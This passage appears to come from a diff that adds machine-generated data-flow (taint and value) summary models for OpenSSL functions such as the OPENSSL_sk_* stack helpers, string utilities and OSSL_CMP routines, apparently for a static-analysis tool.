"OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr", "(const unsigned char *,long)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr", "(const unsigned char *,long)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[5]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime", "(const time_t *,tm *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime", "(const time_t *,tm *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_adj", "(tm *,int,long)", "", "Argument[1]", "Argument[*0].Field[*tm_mday]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_adj", "(tm *,int,long)", "", "Argument[1]", "Argument[*0].Field[*tm_mon]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_adj", "(tm *,int,long)", "", "Argument[1]", "Argument[*0].Field[*tm_year]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_deep_copy", "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OPENSSL_sk_deep_copy", "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_deep_copy", "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_delete", "(OPENSSL_STACK *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_delete", "(OPENSSL_STACK *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_delete_ptr", "(OPENSSL_STACK *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_delete_ptr", "(OPENSSL_STACK *,const void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_delete_ptr", "(OPENSSL_STACK *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_dup", "(const OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OPENSSL_sk_dup", "(const OPENSSL_STACK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_dup", "(const OPENSSL_STACK *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_all", "(OPENSSL_STACK *,const void *,int *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_all", "(OPENSSL_STACK *,const void *,int *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_ex", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_ex", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_insert", "(OPENSSL_STACK *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_insert", "(OPENSSL_STACK *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_insert", "(OPENSSL_STACK *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_is_sorted", "(const OPENSSL_STACK *)", "", "Argument[*0].Field[*sorted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_new", "(OPENSSL_sk_compfunc)", "", "Argument[0]", "ReturnValue[*].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_new_reserve", "(OPENSSL_sk_compfunc,int)", "", "Argument[0]", "ReturnValue[*].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_new_reserve", "(OPENSSL_sk_compfunc,int)", "", "Argument[1]", "ReturnValue[*].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_num", "(const OPENSSL_STACK *)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_pop", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_pop", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_pop", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_push", "(OPENSSL_STACK *,const void *)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_push", "(OPENSSL_STACK *,const void *)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_reserve", "(OPENSSL_STACK *,int)", "", "Argument[1]", "Argument[*0].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[*2]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[*2]", "ReturnValue[**]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[2]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_cmp_func", "(OPENSSL_STACK *,OPENSSL_sk_compfunc)", "", "Argument[*0].Field[*comp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_cmp_func", "(OPENSSL_STACK *,OPENSSL_sk_compfunc)", "", "Argument[1]", "Argument[*0].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[1]", "Argument[*0].Field[*free_thunk]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[1]", "ReturnValue[*].Field[*free_thunk]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_shift", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_shift", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_shift", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_unshift", "(OPENSSL_STACK *,const void *)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_unshift", "(OPENSSL_STACK *,const void *)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_value", "(const OPENSSL_STACK *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcat", "(char *,const char *,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcat", "(char *,const char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcat", "(char *,const char *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcpy", "(char *,const char *,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcpy", "(char *,const char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcpy", "(char *,const char *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strnlen", "(const char *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2asc", "(const unsigned char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2asc", "(const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2utf8", "(const unsigned char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2utf8", "(const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_AA_DIST_POINT_free", "(OSSL_AA_DIST_POINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_AA_DIST_POINT_free", "(OSSL_AA_DIST_POINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_CHOICE_free", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_CHOICE_free", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_ITEM_free", "(OSSL_ALLOWED_ATTRIBUTES_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_ITEM_free", "(OSSL_ALLOWED_ATTRIBUTES_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_SYNTAX_free", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_SYNTAX_free", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATAV_free", "(OSSL_ATAV *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATAV_free", "(OSSL_ATAV *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTES_SYNTAX_free", "(OSSL_ATTRIBUTES_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTES_SYNTAX_free", "(OSSL_ATTRIBUTES_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_DESCRIPTOR_free", "(OSSL_ATTRIBUTE_DESCRIPTOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_DESCRIPTOR_free", "(OSSL_ATTRIBUTE_DESCRIPTOR *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPINGS_free", "(OSSL_ATTRIBUTE_MAPPINGS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPINGS_free", "(OSSL_ATTRIBUTE_MAPPINGS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPING_free", "(OSSL_ATTRIBUTE_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPING_free", "(OSSL_ATTRIBUTE_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_TYPE_MAPPING_free", "(OSSL_ATTRIBUTE_TYPE_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_TYPE_MAPPING_free", "(OSSL_ATTRIBUTE_TYPE_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_VALUE_MAPPING_free", "(OSSL_ATTRIBUTE_VALUE_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_VALUE_MAPPING_free", "(OSSL_ATTRIBUTE_VALUE_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX_free", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX_free", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_BASIC_ATTR_CONSTRAINTS_free", "(OSSL_BASIC_ATTR_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_BASIC_ATTR_CONSTRAINTS_free", "(OSSL_BASIC_ATTR_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAVS_free", "(OSSL_CMP_ATAVS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAVS_free", "(OSSL_CMP_ATAVS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue[*].Field[**type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_algId", "(const OSSL_CMP_ATAV *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_algId", "(const OSSL_CMP_ATAV *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_type", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[**type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_type", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_value", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_value", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_new_algId", "(const X509_ALGOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_push1", "(OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_push1", "(OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[*0].Field[**type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*2]", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[2]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CAKEYUPDANNCONTENT_free", "(OSSL_CMP_CAKEYUPDANNCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CAKEYUPDANNCONTENT_free", "(OSSL_CMP_CAKEYUPDANNCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTIFIEDKEYPAIR_free", "(OSSL_CMP_CERTIFIEDKEYPAIR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTIFIEDKEYPAIR_free", "(OSSL_CMP_CERTIFIEDKEYPAIR *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTORENCCERT_free", "(OSSL_CMP_CERTORENCCERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTORENCCERT_free", "(OSSL_CMP_CERTORENCCERT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREPMESSAGE_free", "(OSSL_CMP_CERTREPMESSAGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREPMESSAGE_free", "(OSSL_CMP_CERTREPMESSAGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREQTEMPLATE_free", "(OSSL_CMP_CERTREQTEMPLATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREQTEMPLATE_free", "(OSSL_CMP_CERTREQTEMPLATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTRESPONSE_free", "(OSSL_CMP_CERTRESPONSE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTRESPONSE_free", "(OSSL_CMP_CERTRESPONSE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTSTATUS_free", "(OSSL_CMP_CERTSTATUS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTSTATUS_free", "(OSSL_CMP_CERTSTATUS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CHALLENGE_free", "(OSSL_CMP_CHALLENGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CHALLENGE_free", "(OSSL_CMP_CHALLENGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSOURCE_free", "(OSSL_CMP_CRLSOURCE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSOURCE_free", "(OSSL_CMP_CRLSOURCE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_create", "(const X509_CRL *,const X509 *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_free", "(OSSL_CMP_CRLSTATUS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_free", "(OSSL_CMP_CRLSTATUS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_get0", "(const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **)", "", "Argument[*0].Field[**thisUpdate]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_get0", "(const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **)", "", "Argument[*0].Field[*thisUpdate]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_new1", "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_new1", "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_new1", "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_build_cert_chain", "(OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_geninfo_ITAVs", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**geninfo_ITAVs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_geninfo_ITAVs", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*geninfo_ITAVs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_libctx", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_libctx", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**newCert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*newCert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newPkey", "(const OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newPkey", "(const OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_propq", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_propq", "(const OSSL_CMP_CTX *)", "", 